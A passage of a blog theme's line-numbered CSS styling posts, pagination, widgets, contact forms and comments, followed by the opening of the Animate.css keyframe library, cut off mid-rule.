681text-decoration:none;
682font-size:30px;
683line-height:normal;
684padding:0 0 10px;
685font-family: "Montserrat",sans-serif;
686letter-spacing: 1px;
687font-weight: 600;
688text-transform: uppercase;
689padding-bottom: 10px;
690margin-bottom: 10px;
691}
692.post-title a{
693text-decoration:none;
694color:#000;
695}
696.post-body{
697font-size:16px;
698font-weight:normal;
699padding:0;
700margin:0;
701line-height:29px;
702word-wrap:break-word;
703}
704.post-header{
705color:#999999;
706font-family:Verdana,Arial,Tahoma,sans-serif;
707font-size:12px;
708}
709.rmlink a{
710font-family:'Source Sans Pro',sans-serif;
711background:#292929;
712color:#fff;
713padding-top:5px;
714float:right;
715padding-bottom:5px;
716padding-left:10px;
717/*transition*/
718-webkit-transition:0.3s;
719-moz-transition:0.3s;
720-o-transition:0.3s;
721transition:0.3s;
722padding-right:10px;
723text-decoration:none;
724font-size:15px;
725}
726.rmlink a:hover{
727background:#2aa4cf;
728-decoratio-decoration:none;
729}
730.home-link{
731display:none;
732}
733#blog-pager-newer-link{
734float:right;
735text-decoration:none;
736background:#000;
737font-size:16px;
738font-family:sans-serif;
739padding:10px;
740font-weight:700;
741position:relative;
742left:-20px;
743top:8px;
744}
745#blog-pager-older-link{
746text-decoration:none;
747font-size:16px;
748font-family:sans-serif;
749font-weight:700;
750float:left;
751background:#000;
752padding:10px;
753margin-left:20px;
754margin-top:8px;
755}
756#blog-pager-newer-link a{
757text-decoration:none;
758color:#FFF;
759}
760#blog-pager-older-link a{
761text-decoration:none;
762color:#FFF;
763}
764#blog-pager{
765font-size: 16px;
766line-height: normal;
767width: 100%;
768margin: 0;
769padding: 60px;
770display: inline-block;
771}
772.showpageOf{
773display:none;
774}
775.showpageNum a, .showpage a{
776margin:0 4px;
777}
778.showpagePoint{
779margin:0 2px 0 0;
780}
781/*****************************************
782Custom Widget CSS
783******************************************/
784/***** Popular Post *****/
785.PopularPosts h2{
786padding-right:.4em;
787padding-left:0em;
788}
789.popular-posts ul{
790padding-left:0;
791counter-reset:sj;
792/*setting counter-reset*/
793:;
794}
795.popular-posts ul li{
796list-style:none outside none !important;
797margin-left:0 !important;
798overflow:hidden;
799padding:7px 0 !important;
800/*transition*/
801-webkit-transition:all 0.25s linear 0s;
802-moz-transition:all 0.25s linear 0s;
803-o-transition:all 0.25s linear 0s;
804transition:all 0.25s linear 0s;
805counter-increment:sj;
806/*setting counter-increment*/
807:;
808}
809.PopularPosts ul li:before{
810content:counters(sj, ".");
811padding:0 .1em 0 0;
812font-size:20px;
813font-weight:bold;
814color:#C4C4C4;
815float:left;
816margin-right:10px;
817}
818.PopularPosts .item-thumbnail, .PopularPosts .item-snippet{
819display:none!important;
820}
821/* Hides Thumbnail and Snippet */
822.PopularPosts a, .PopularPosts a:hover{
823color:#959595;
824font-size:.9rem;
825font-family:sans-serif;
826text-decoration:none;
827}
828#PopularPosts1 li{
829padding-right:1em !important;
830padding-left:1em !important;
831}
832/***** Button CSS *****/
833.showpageArea a{
834text-decoration:underline;
835}
836.showpageNum a{
837background-color: #333;
838color: #fff;
839display: inline-block;
840position: relative;
841cursor: pointer;
842outline: none;
843white-space: nowrap;
844margin: 2px;
845color: #FFF;
846font-size: 14px;
847font-family: "Montserrat",sans-serif;
848padding: 0 12px;
849font-weight: 400;
850line-height: 36px;
851background: #333;
852border: none;
853text-shadow: 1px 1px 1px rgba(0,0,0,0.3);
854border-radius: 3px;
855-moz-border-radius: 3px;
856-webkit-border-radius: 3px;
857transition: background-color .2s linear;
858-moz-transition: background-color .2s linear;
859-webkit-transition: background-color .2s linear;
860-ms-transition: background-color .2s linear;
861-o-transition: background-color .2s linear;
862}
863.showpagePoint:hover , .showpageNum a:hover , .showpage a:hover{
864background-color: #1ABC9C;
865color: #fff;
866}
867.showpagePoint{
868background-color: #333;
869color: #fff;
870display: inline-block;
871position: relative;
872cursor: pointer;
873outline: none;
874white-space: nowrap;
875margin: 2px;
876color: #FFF;
877font-size: 14px;
878font-family: "Montserrat",sans-serif;
879padding: 0 12px;
880font-weight: 400;
881line-height: 36px;
882background: #333;
883border: none;
884text-shadow: 1px 1px 1px rgba(0,0,0,0.3);
885border-radius: 3px;
886-moz-border-radius: 3px;
887-webkit-border-radius: 3px;
888transition: background-color .2s linear;
889-moz-transition: background-color .2s linear;
890-webkit-transition: background-color .2s linear;
891-ms-transition: background-color .2s linear;
892-o-transition: background-color .2s linear;
893}
894.showpageOf{
895text-decoration:none;
896padding:3px;
897margin:0 3px 0 0;
898font-size:15px margin: 0 3px;
899}
900.showpage a{
901background-color: #333;
902color: #fff;
903display: inline-block;
904position: relative;
905cursor: pointer;
906outline: none;
907white-space: nowrap;
908margin: 2px;
909color: #FFF;
910font-size: 14px;
911font-family: "Montserrat",sans-serif;
912padding: 0 12px;
913font-weight: 400;
914line-height: 36px;
915background: #333;
916border: none;
917text-shadow: 1px 1px 1px rgba(0,0,0,0.3);
918border-radius: 3px;
919-moz-border-radius: 3px;
920-webkit-border-radius: 3px;
921transition: background-color .2s linear;
922-moz-transition: background-color .2s linear;
923-webkit-transition: background-color .2s linear;
924-ms-transition: background-color .2s linear;
925-o-transition: background-color .2s linear;
926}
927.showpage a:hover{
928text-decoration:none;
929}
930.showpageNum a:link,.showpage a:link{
931text-decoration:none;
932}
933.showpageOf{
934display:none;
935}
936.showpageArea{
937padding-bottom:20px;
938}
939/***** Profile Widget CSS *****/
940.Profile img{
941border:1px solid #cecece;
942background:#fff;
943float:left;
944margin:5px 10px 5px 0;
945padding:5px;
946/*border-radius*/
947-webkit-border-radius:50px;
948-moz-border-radius:50px;
949border-radius:50px;
950}
951.profile-data{
952color:#999999;
953font:bold 20px/1.6em Arial,Helvetica,Tahoma,sans-serif;
954font-variant:small-caps;
955margin:0;
956text-transform:capitalize;
957}
958.profile-datablock{
959margin:0.5em 0;
960}
961.profile-textblock{
962line-height:1.6em;
963margin:0.5em 0;
964}
965a.profile-link{
966clear:both;
967display:block;
968font:80% monospace;
969padding:10px 0;
970text-align:center;
971text-transform:capitalize;
972}
973/* 8. Section Services
974-------------------------------------------------*/
975#sectionServices {
976background: none repeat scroll 0 0 #fff;
977padding-bottom: 50px;
978}
979.servicesCol4 {
980min-height: 215px;
981overflow: hidden;
982padding-bottom: 30px;
983padding-top: 30px;
984}
985.servicesCol4 h3 {
986font-family: "Montserrat",sans-serif;
987font-size: 14px;
988font-weight: 400;
989margin-top: 0;
990padding-top: 0;
991text-align: left;
992text-transform: uppercase;
993}
994.servicesCol4 p {
995font-family: inherit;
996font-size: 14px;
997font-style: normal;
998font-weight: 400;
999padding-top: 10px;
1000text-align: left;
1001}
1002.servicesCol4 span {
1003color: #222222;
1004font-size: 40px;
1005text-align: center;
1006}
1007.servicesLeft {
1008float: left;
1009}
1010.servicesRight {
1011padding-left: 23%;
1012padding-right: 2%;
1013}
1014/* 9. Section Contact
1015-------------------------------------------------*/
1016#sectionContact {
1017background: #FAFAFA;
1018}
1019.contactForm {margin: 0 0 50px 0;}
1020.contactForm h1 {
1021letter-spacing: 5px;
1022font-size: 15px;
1023font-weight: 700;
1024text-transform: uppercase;
1025text-align: center;
1026padding-bottom: 30px;
1027}
1028.contactFooter {
1029background-color: #0a0a0a;
1030padding: 40px 0 30px 0;
1031color: #fff;
1032}
1033.footerLeft {
1034font-size: 13px;
1035font-weight: 400;
1036color: #777;
1037padding-top: 5px;
1038}
1039.footerLeft a{
1040color: #1ABC9C;
1041}
1042.footerRight {
1043text-align: right;
1044font-size: 24px;
1045}
1046.footerRight a{
1047color: #777;
1048padding: 0 10px;
1049}
1050.footerRight a:hover {
1051color: #fff;
1052}
1053.contactRight {
1054padding-left: 5%;
1055}
1056.contactBox .icon {
1057color: #1ABC9C;
1058font-size: 25px;
1059}
1060.contactBox {
1061margin: 15px 0 30px;
1062}
1063.contactBox h3 {
1064margin-top: 2px;
1065margin-bottom: 5px;
1066text-transform: uppercase;
1067font-weight: 600;
1068font-size: 12px;
1069letter-spacing: 3px;
1070}
1071section#sectionContact .form-group {
1072margin-bottom: 25px;
1073}
1074section#sectionContact .form-group input,
1075section#sectionContact .form-group textarea {
1076padding: 15px;
1077border: 1px solid #CCCCCC;
1078color: #555;
1079border-radius: 0;
1080font-size: 12px;
1081background-color: transparent;
1082box-shadow: 0 0 0 rgba(0, 0, 0, 0);
1083}
1084section#sectionContact .form-group input.form-control {
1085height: auto;
1086}
1087#ContactForm1_contact-form-email-message{
1088min-height:155px;
1089max-width: 540px;
1090}
1091section#sectionContact .form-control:focus {
1092border-color: #13B0A5;
1093box-shadow: none;
1094}
1095section#sectionContact::-webkit-input-placeholder {
1096text-transform: uppercase;
1097font-family: Montserrat,"Helvetica Neue",Helvetica,Arial,sans-serif;
1098font-weight: 700;
1099color: #999;
1100}
1101section#sectionContact:-moz-placeholder {
1102text-transform: uppercase;
1103font-family: Montserrat,"Helvetica Neue",Helvetica,Arial,sans-serif;
1104font-weight: 700;
1105color: #999;
1106}
1107section#sectionContact::-moz-placeholder {
1108text-transform: uppercase;
1109font-family: Montserrat,"Helvetica Neue",Helvetica,Arial,sans-serif;
1110font-weight: 700;
1111color: #999;
1112}
1113section#sectionContact:-ms-input-placeholder {
1114text-transform: uppercase;
1115font-family: Montserrat,"Helvetica Neue",Helvetica,Arial,sans-serif;
1116font-weight: 700;
1117color: #999;
1118}
1119section#sectionContact .text-danger {
1120color: #1ABC9C;
1121}
1122section#sectionContact ul {
1123padding-left: 14px;
1124}
1125section#sectionContact .form-text {
1126color: #BFBFBF;
1127margin-top: 50px;
1128}
1129section#sectionContact .form-text i {
1130color: #fff;
1131padding-right: 15px;
1132}
1133section#sectionContact .form-text h4 {
1134color: #fff;
1135border-bottom: 3px solid #13b0a5;
1136display: inline-block;
1137padding-bottom: 10px;
1138margin-bottom: 16px;
1139}
1140/* ====GENERAL FORM STYLES==== */
1141input, textarea, select {
1142color: #222;
1143background: transparent;
1144vertical-align: top;
1145transition: all 0.25s ease-in-out;
1146-webkit-transition: all 0.25s ease-in-out;
1147-moz-transition: all 0.25s ease-in-out;
1148margin: 0;
1149padding: 15px;
1150width: 100%;
1151height: 100%;
1152border: 0;
1153border: 1px solid #ccc;
1154font-size: 12px;
1155font-weight: 400;
1156letter-spacing: 2px;
1157}
1158input:focus, textarea:focus, select:focus {
1159outline: none;
1160position: relative;
1161z-index: 5;
1162transition: all 0.25s ease-in-out;
1163-webkit-transition: all 0.25s ease-in-out;
1164-moz-transition: all 0.25s ease-in-out;
1165border: 1px solid #1ABC9C;
1166}
1167input.submit {
1168width: auto;
1169cursor: pointer;
1170position: relative;
1171background: transparent;
1172color: #ffffff;
1173border-radius: 50px;
1174padding: 15px 30px;
1175border: 0;
1176background: #1ABC9C;
1177margin: 20px 0;
1178-webkit-transition: all .2s ease-in-out;
1179-moz-transition: all .2s ease-in-out;
1180-o-transition: all .2s ease-in-out;
1181transition: all .2s ease-in-out;
1182text-decoration: none;
1183text-transform: uppercase;
1184font-size: 13px;
1185font-family: "Montserrat",sans-serif;
1186font-weight: 400;
1187letter-spacing: 2px;
1188}
1189input.submit:hover, .input.submit:focus, .input.submit:active {
1190background-color: #15967D;
1191}
1192#contactform button[type="submit"][disabled] { background:#777; cursor: default; }
1193#contactform div {margin: 20px 0;}
1194.contactForm fieldset { padding:0;border:0; }
1195.contactForm label {
1196font-size: 12px;
1197font-weight: 400;
1198letter-spacing: 2px;
1199text-transform: uppercase;
1200}
1201.contact-form-error-message-with-border {
1202background: #1ABC9C;
1203bottom: 0;
1204color: #FFF;
1205font-size: 11px;
1206font-weight: bold;
1207border-radius: 30px;
1208line-height: 31px;
1209margin-left: 0;
1210opacity: 1;
1211position: static;
1212text-align: center;
1213border: 1px solid #12A286;
1214box-shadow: 0 0 0;
1215}
1216/* 10. Buttons & Modals
1217-------------------------------------------------*/
1218.btn{
1219background: rgb(26, 188, 156);
1220color: #fff;
1221}
1222.button {
1223border:0;
1224outline: 0;
1225overflow:hidden;
1226z-index: 1;
1227cursor: pointer;
1228-webkit-transition: all .2s ease-in-out;
1229-moz-transition: all .2s ease-in-out;
1230-o-transition: all .2s ease-in-out;
1231transition: all .2s ease-in-out;
1232}
1233.button-medium {
1234padding: 10px 14px;
1235}
1236.button-color {
1237background: #1ABC9C;
1238text-transform: uppercase;
1239font-size: 11px;
1240}
1241.button-color a {
1242color: #ffffff;
1243letter-spacing: 1px;
1244}
1245.modal-box {
1246max-width: 550px;
1247background: #fff;
1248position: relative;
1249margin: 0 auto;
1250}
1251.modal-box img {
1252width: 100%;
1253height: 100%;
1254}
1255.modal-box-content {
1256padding: 25px;
1257}
1258.modal-box-content h2 {
1259text-transform: uppercase;
1260font-size: 17px;
1261font-weight: 400;
1262letter-spacing: 2px;
1263}
1264.modal-box-content p {
1265color: #777777;
1266line-height: 24px;
1267letter-spacing: 0px;
1268font-size: 14px;
1269}
1270/*****************************************
1271Comments CSS
1272******************************************/
1273#comments{
1274background:#FFF;
1275padding:20px;
1276position:relative;
1277top:30px;
1278border-top:1px solid #ddd;
1279}
1280#comments h4{
1281font-size: 25px;
1282color: #414141;
1283margin: 0;
1284font-family: "Montserrat",sans-serif;
1285}
1286.comments ol li:before{
1287content:counters(sj,".");
1288font-size:3.5rem;
1289color:rgba(0,0,0,0.16);
1290right:.3em;
1291position:absolute;
1292text-shadow:1px 1px 1px #FFF;
1293padding:.2em 0 0;
1294}
1295.comments ol li{
1296counter-increment:sj;
1297}
1298.comments ol{
1299counter-reset:sj;
1300}
1301.comments .comments-content .comment-content{
1302text-align:justify;
1303border:1px solid #e1e1e1;
1304margin-left:-40px;
1305margin-top:35px;
1306padding:20px;
1307border-radius: 5px;
1308}
1309.comments .comments-content .comment-header{
1310width:58%;
1311position:relative;
1312margin:10px 0 0;
1313padding:0 25px;
1314}
1315.comments .comments-content .user{
1316font-style:normal;
1317font-weight:400;
1318color:#414141;
1319font-size:20px;
1320}
1321.comments .comments-content .user a{
1322color:#414141;
1323}
1324.comments .comments-content .user.blog-author a{
1325color:#000000;
1326text-decoration:none;
1327font-family:sans-serif;
1328font-weight:700;
1329}
1330span.datetime.secondary-text a{
1331color:#b9b9b9;
1332text-decoration:none;
1333font-variant:small-caps;
1334}
1335.comments .comments-content .datetime{
1336color:#616161;
1337fontsize:12px;
1338display:block;
1339margin:0;
1340}
1341.comments .comments-content .comment-thread ol{
1342list-style-type:none;
1343text-align:left;
1344margin:0;
1345padding:0;
1346}
1347.comments .comment .comment-actions a{
1348text-decoration: none;
1349text-align: right;
1350background: #1ABC9C;
1351padding: 6px 10px!important;
1352color: #fff;
1353border-radius: 20px;
1354}
1355.comments .continue a{
1356display:none!important;
1357}
1358.comments .avatar-image-container img{
1359max-width:60px;
1360max-height:60px;
1361width:60px;
1362height:60px;
1363z-index:1;
1364float:left;
1365}
1366.comments .avatar-image-container{
1367float:left;
1368max-height:60px;
1369height:60px;
1370overflow:hidden;
1371width:60px;
1372max-width:60px;
1373/*border-radius*/
1374-webkit-border-radius:240px;
1375-moz-border-radius:240px;
1376border-radius:240px;
1377background:#fff;
1378margin:0px;
1379}
1380.comment .comment-replies .comment{
1381background: #f5f5f5;
1382padding: 10px;
1383border-top: 2px solid #eee;
1384box-shadow: 10px 10px 0px #ddd;
1385border-radius: 5px;
1386margin-bottom: 33px!important;
1387}
1388.comments .comments-content .comment-replies .comment,.comments .comments-content .comment-replies .comment:first-child,.comments .comments-content .comment-replies .comment:last-child{
1389margin:0;
1390padding:1em;
1391}
1392.comments .comments-content .comment:last-child,.comments .comments-content .comment:first-child{
1393padding-top:5px;
1394padding-bottom:5px;
1395list-style:none;
1396position:relative;
1397}
1398.comment-thread.inline-thread .comment-content{
1399background:#fff;
1400}
1401span.item-control.blog-admin,.comments .thread-toggle{
1402display:none;
1403}
1404#comments .comment-actions.secondary-text,.comments .comment .comment-actions a:hover{
1405text-decoration:none;
1406}
1407/*****************************************
1408Responsive styles
1409******************************************/
1410@media screen and (max-width: 960px){
1411.ct-wrapper{ padding:0 15px;
1412}
1413.main-wrapper{
1414margin-right:0;
1415width:100%;
1416}
1417}
1418@media screen and (max-width: 768px){
1419#comment-editor{
1420margin:10px;
1421}
1422.footer{
1423width:50%;
1424}
1425}
1426@media screen and (max-width: 420px){
1427.comments .comments-content .datetime{ display:block;
1428float:none;
1429}
1430.comments .comments-content .comment-header{
1431height:70px;
1432}
1433}
1434@media screen and (max-width: 320px){
1435.footer { width:100%;
1436}
1437.ct-wrapper{
1438padding:0;
1439}
1440.comments .comments-content .comment-replies{
1441margin-left:0;
1442}
1443}
1444/*****************************************
1445Hiding Header Date and Feed Links
1446******************************************/
1447h2.date-header{
1448display:none;
1449}
1450
1451--></style>
1452<!--Animate-->
1453<style>
1454@charset "UTF-8"; /*! Animate.css - http://daneden.me/animate Licensed under the MIT license - http://opensource.org/licenses/MIT Copyright (c) 2014 Daniel Eden */ .animated { -webkit-animation-duration: 1s; animation-duration: 1s; -webkit-animation-fill-mode: both; animation-fill-mode: both; } .animated.infinite { -webkit-animation-iteration-count: infinite; animation-iteration-count: infinite; } .animated.hinge { -webkit-animation-duration: 2s; animation-duration: 2s; } @-webkit-keyframes bounce { 0%, 20%, 53%, 80%, 100% { -webkit-transition-timing-function: cubic-bezier(0.215, 0.610, 0.355, 1.000); transition-timing-function: cubic-bezier(0.215, 0.610, 0.355, 1.000); -webkit-transform: translate3d(0,0,0); transform: translate3d(0,0,0); } 40%, 43% { -webkit-transition-timing-function: cubic-bezier(0.755, 0.050, 0.855, 0.060); transition-timing-function: cubic-bezier(0.755, 0.050, 0.855, 0.060); -webkit-transform: translate3d(0, -30px, 0); transform: translate3d(0, -30px, 0); } 70% { -webkit-transition-timing-function: cubic-bezier(0.755, 0.050, 0.855, 0.060); transition-timing-function: cubic-bezier(0.755, 0.050, 0.855, 0.060); -webkit-transform: translate3d(0, -15px, 0); transform: translate3d(0, -15px, 0); } 90% { -webkit-transform: translate3d(0,-4px,0); transform: translate3d(0,-4px,0); } } @keyframes bounce { 0%, 20%, 53%, 80%, 100% { -webkit-transition-timing-function: cubic-bezier(0.215, 0.610, 0.355, 1.000); transition-timing-function: cubic-bezier(0.215, 0.610, 0.355, 1.000); -webkit-transform: translate3d(0,0,0); transform: translate3d(0,0,0); } 40%, 43% { -webkit-transition-timing-function: cubic-bezier(0.755, 0.050, 0.855, 0.060); transition-timing-function: cubic-bezier(0.755, 0.050, 0.855, 0.060); -webkit-transform: translate3d(0, -30px, 0); transform: translate3d(0, -30px, 0); } 70% { -webkit-transition-timing-function: cubic-bezier(0.755, 0.050, 0.855, 0.060); transition-timing-function: cubic-bezier(0.755, 0.050, 0.855, 0.060); -webkit-transform: translate3d(0, -15px, 0); transform: translate3d(0, -15px, 0); } 90% { -webkit-transform: translate3d(0,-4px,0); transform: translate3d(0,-4px,0); } } .bounce { -webkit-animation-name: bounce; animation-name: bounce; -webkit-transform-origin: center bottom; -ms-transform-origin: center bottom; transform-origin: center bottom; } @-webkit-keyframes flash { 0%, 50%, 100% { opacity: 1; } 25%, 75% { opacity: 0; } } @keyframes flash { 0%, 50%, 100% { opacity: 1; } 25%, 75% { opacity: 0; } } .flash { -webkit-animation-name: flash; animation-name: flash; } /* originally authored by Nick Pettit - https://github.com/nickpettit/glide */ @-webkit-keyframes pulse { 0% { -webkit-transform: scale3d(1, 1, 1); transform: scale3d(1, 1, 1); } 50% { -webkit-transform: scale3d(1.05, 1.05, 1.05); transform: scale3d(1.05, 1.05, 1.05); } 100% { -webkit-transform: scale3d(1, 1, 1); transform: scale3d(1, 1, 1); } } @keyframes pulse { 0% { -webkit-transform: scale3d(1, 1, 1); transform: scale3d(1, 1, 1); } 50% { -webkit-transform: scale3d(1.05, 1.05, 1.05); transform: scale3d(1.05, 1.05, 1.05); } 100% { -webkit-transform: scale3d(1, 1, 1); transform: scale3d(1, 1, 1); } } .pulse { -webkit-animation-name: pulse; animation-name: pulse; } @-webkit-keyframes rubberBand { 0% { -webkit-transform: scale3d(1, 1, 1); transform: scale3d(1, 1, 1); } 30% { -webkit-transform: scale3d(1.25, 0.75, 1); transform: scale3d(1.25, 0.75, 1); } 40% { -webkit-transform: scale3d(0.75, 1.25, 1); transform: scale3d(0.75, 1.25, 1); } 50% { -webkit-transform: scale3d(1.15, 0.85, 1); transform: scale3d(1.15, 0.85, 1); } 65% { -webkit-transform: scale3d(.95, 1.05, 1); transform: scale3d(.95, 1.05, 1); } 75% { -webkit-transform: scale3d(1.05, .95, 1); transform: scale3d(1.05, .95, 1); } 100% { -webkit-transform: scale3d(1, 1, 1); transform: scale3d(1, 1, 1); } } @keyframes rubberBand { 0% { -webkit-transform: scale3d(1, 1, 1); transform: scale3d(1, 1, 1); } 30% { -webkit-transform: scale3d(1.25, 0.75, 1); transform: scale3d(1.25, 0.75, 1); } 40% { -webkit-transform: scale3d(0.75, 1.25, 1); transform: scale3d(0.75, 1.25, 1); } 50% { -webkit-transform: scale3d(1.15, 0.85, 1); transform: scale3d(1.15, 0.85, 1); } 65% { -webkit-transform: scale3d(.95, 1.05, 1); transform: scale3d(.95, 1.05, 1); } 75% { -webkit-transform: scale3d(1.05, .95, 1); transform: scale3d(1.05, .95, 1); } 100% { -webkit-transform: scale3d(1, 1, 1); transform: scale3d(1, 1, 1); } } .rubberBand { -webkit-animation-name: rubberBand; animation-name: rubberBand; } @-webkit-keyframes shake { 0%, 100% { -webkit-transform: translate3d(0, 0, 0); transform: translate3d(0, 0, 0); } 10%, 30%, 50%, 70%, 90% { -webkit-transform: translate3d(-10px, 0, 0); transform: translate3d(-10px, 0, 0); } 20%, 40%, 60%, 80% { -webkit-transform: translate3d(10px, 0, 0); transform: translate3d(10px, 0, 0); } } @keyframes shake { 0%, 100% { -webkit-transform: translate3d(0, 0, 0); transform: translate3d(0, 0, 0); } 10%, 30%, 50%, 70%, 90% { -webkit-transform: translate3d(-10px, 0, 0); transform: translate3d(-10px, 0, 0); } 20%, 40%, 60%, 80% { -webkit-transform: translate3d(10px, 0, 0); transform: translate3d(10px, 0, 0); } } .shake { -webkit-animation-name: shake; animation-name: shake; } @-webkit-keyframes swing { 20% { -webkit-transform: rotate3d(0, 0, 1, 15deg); transform: rotate3d(0, 0, 1, 15deg); } 40% { -webkit-transform: rotate3d(0, 0, 1, -10deg); transform: rotate3d(0, 0, 1, -10deg); } 60% { -webkit-transform: rotate3d(0, 0, 1, 5deg); transform: rotate3d(0, 0, 1, 5deg); } 80% { -webkit-transform: rotate3d(0, 0, 1, -5deg); transform: rotate3d(0, 0, 1, -5deg); } 100% { -webkit-transform: rotate3d(0, 0, 1, 0deg); transform: rotate3d(0, 0, 1, 0deg); } } @keyframes swing { 20% { -webkit-transform: rotate3d(0, 0, 1, 15deg); transform: rotate3d(0, 0, 1, 15deg); } 40% { -webkit-transform: rotate3d(0, 0, 1, -10deg); transform: rotate3d(0, 0, 1, -10deg); } 60% { -webkit-transform: rotate3d(0, 0, 1, 5deg); transform: rotate3d(0, 0, 1, 5deg); } 80% { -webkit-transform: rotate3d(0, 0, 1, -5deg); transform: rotate3d(0, 0, 1, -5deg); } 100% { -webkit-transform: rotate3d(0, 0, 1, 0deg); transform: rotate3d(0, 0, 1, 0deg); } } .swing { -webkit-transform-origin: top center; -ms-transform-origin: top center; transform-origin: top center; -webkit-animation-name: swing; animation-name: swing; } @-webkit-keyframes tada { 0% { -webkit-transform: scale3d(1, 1, 1); transform: scale3d(1, 1, 1); } 10%, 20% { -webkit-transform: scale3d(.9, .9, .9) rotate3d(0, 0, 1, -3deg); transform: scale3d(.9, .9, .9) rotate3d(0, 0, 1, -3deg); } 30%, 50%, 70%, 90% { -webkit-transform: scale3d(1.1, 1.1, 1.1) rotate3d(0, 0, 1, 3deg); transform: scale3d(1.1, 1.1, 1.1) rotate3d(0, 0, 1, 3deg); } 40%, 60%, 80% { -webkit-transform: scale3d(1.1, 1.1, 1.1) rotate3d(0, 0, 1, -3deg); transform: scale3d(1.1, 1.1, 1.1) rotate3d(0, 0, 1, -3deg); } 100% { -webkit-transform: scale3d(1, 1, 1); transform: scale3d(1, 1, 1); } } @keyframes tada { 0% { -webkit-transform: scale3d(1, 1, 1); transform: scale3d(1, 1, 1); } 10%, 20% { -webkit-transform: scale3d(.9, .9, .9) rotate3d(0, 0, 1, -3deg); transform: scale3d(.9, .9, .9) rotate3d(0, 0, 1, -3deg); } 30%, 50%, 70%, 90% { -webkit-transform: scale3d(1.1, 1.1, 1.1) rotate3d(0, 0, 1, 3deg); transform: scale3d(1.1, 1.1, 1.1) rotate3d(0, 0, 1, 3deg); } 40%, 60%, 80% { -webkit-transform: scale3d(1.1, 1.1, 1.1) rotate3d(0, 0, 1, -3deg); transform: scale3d(1.1, 1.1, 1.1) rotate3d(0, 0, 1, -3deg); } 100% { -webkit-transform: scale3d(1, 1, 1); transform: scale3d(1, 1, 1); } } .tada { -webkit-animation-name: tada; animation-name: tada; } /* originally authored by Nick Pettit - https://github.com/nickpettit/glide */ @-webkit-keyframes wobble { 0% { -webkit-transform: none; transform: none; } 15% { -webkit-transform: translate3d(-25%, 0, 0) rotate3d(0, 0, 1, -5deg); transform: translate3d(-25%, 0, 0) rotate3d(0, 0, 1, -5deg); } 30% { -webkit-transform: translate3d(20%, 0, 0) rotate3d(0, 0, 1, 3deg); transform: translate3d(20%, 0, 0) rotate3d(0, 0, 1, 3deg); } 45% { -webkit-transform: translate3d(-15%, 0, 0) rotate3d(0, 0, 1, -3deg); transform: translate3d(-15%, 0, 0) rotate3d(0, 0, 1, -3deg); } 60% { -webkit-transform: translate3d(10%, 0, 0) rotate3d(0, 0, 1, 2deg); transform: translate3d(10%, 0, 0) rotate3d(0, 0, 1, 2deg); } 75% { -webkit-transform: translate3d(-5%, 0, 0) rotate3d(0, 0, 1, -1deg); transform: translate3d(-5%, 0, 0) rotate3d(0, 0, 1, -1deg); } 100% { -webkit-transform: none; transform: none; } } @keyframes wobble { 0% { -webkit-transform: none; transform: none; } 15% { -webkit-transform: translate3d(-25%, 0, 0) rotate3d(0, 0, 1, -5deg); transform: translate3d(-25%, 0, 0) rotate3d(0, 0, 1, -5deg); } 30% { -webkit-transform: translate3d(20%, 0, 0) rotate3d(0, 0, 1, 3deg); transform: translate3d(20%, 0, 0) rotate3d(0, 0, 1, 3deg); } 45% { -webkit-transform: translate3d(-15%, 0, 0) rotate3d(0, 0, 1, -3deg); transform: translate3d(-15%, 0, 0) rotate3d(0, 0, 1, -3deg); } 60% { -webkit-transform: translate3d(10%, 0, 0) rotate3d(0, 0, 1, 2deg); transform: translate3d(10%, 0, 0) rotate3d(0, 0, 1, 2deg); } 75% { -webkit-transform: translate3d(-5%, 0, 0) rotate3d(0, 0, 1, -1deg); transform: translate3d(-5%, 0, 0) rotate3d(0, 0, 1, -1deg); } 100% { -webkit-transform: none; transform: none; } } .wobble { -webkit-animation-name: wobble; animation-name: wobble; } @-webkit-keyframes bounceIn { 0%, 20%, 40%, 60%, 80%, 100% { -webkit-transition-timing-function: cubic-bezier(0.215, 0.610, 0.355, 1.000); transition-timing-function: cubic-bezier(0.215, 0.610, 0.355, 1.000); } 0% { opacity: 0; -webkit-transform: scale3d(.3, .3, .3); transform: scale3d(.3, .3, .3); } 20% { -webkit-transform: scale3d(1.1, 1.1, 1.1); transform: scale3d(1.1, 1.1, 1.1); } 40% { -webkit-transform: scale3d(.9, .9, .9); transform: scale3d(.9, .9, .9); } 60% { opacity: 1; -webkit-transform: scale3d(1.03, 1.03, 1.03); transform: scale3d(1.03, 1.03, 1.03); } 80% { -webkit-transform: scale3d(.97, .97, .97); transform: scale3d(.97, .97, .97); } 100% { opacity: 1; -webkit-transform: scale3d(1, 1, 1); transform: scale3d(1, 1, 1); } } @keyframes bounceIn { 0%, 20%, 40%, 60%, 80%, 100% { -webkit-transition-timing-function: cubic-bezier(0.215, 0.610, 0.355, 1.000); transition-timing-function: cubic-bezier(0.215, 0.610, 0.355, 1.000); } 0% { opacity: 0; -webkit-transform: scale3d(.3, .3, .3); transform: scale3d(.3, .3, .3); } 20% { -webkit-transform: scale3d(1.1, 1.1, 1.1); transform: scale3d(1.1, 1.1, 1.1); } 40% { -webkit-transform: scale3d(.9, .9, .9); transform: scale3d(.9, .9, .9); } 60% { opacity: 1; -webkit-transform: scale3d(1.03, 1.03, 1.03); transform: scale3d(1.03, 1.03, 1.03); } 80% { -webkit-transform: scale3d(.97, .97, .97); transform: scale3d(.97, .97, .97); } 100% { opacity: 1; -webkit-transform: scale3d(1, 1, 1); transform: scale3d(1, 1, 1); } } .bounceIn { -webkit-animation-name: bounceIn; animation-name: bounceIn; -webkit-animation-duration: .75s; animation-duration: .75s; } @-webkit-keyframes bounceInDown { 0%, 60%, 75%, 90%, 100% { -webkit-transition-timing-function: cubic-bezier(0.215, 0.610, 0.355, 1.000); transition-timing-function: cubic-bezier(0.215, 0.610, 0.355, 1.000); } 0% { opacity: 0; -webkit-transform: translate3d(0, -3000px, 0); transform: translate3d(0, -3000px, 0); } 60% { opacity: 1; -webkit-transform: translate3d(0, 25px, 0); transform: translate3d(0, 25px, 0); } 75% { -webkit-transform: translate3d(0, -10px, 0); transform: translate3d(0, -10px, 0); } 90% { -webkit-transform: translate3d(0, 5px, 0); transform: translate3d(0, 5px, 0); } 100% { -webkit-transform: none; transform: none; } } @keyframes bounceInDown { 0%, 60%, 75%, 90%, 100% { -webkit-transition-timing-function: cubic-bezier(0.215, 0.610, 0.355, 1.000); transition-timing-function: cubic-bezier(0.215, 0.610, 0.355, 1.000); } 0% { opacity: 0; -webkit-transform: translate3d(0, -3000px, 0); transform: translate3d(0, -3000px, 0); } 60% { opacity: 1; -webkit-transform: translate3d(0, 25px, 0); transform: translate3d(0, 25px, 0); } 75% 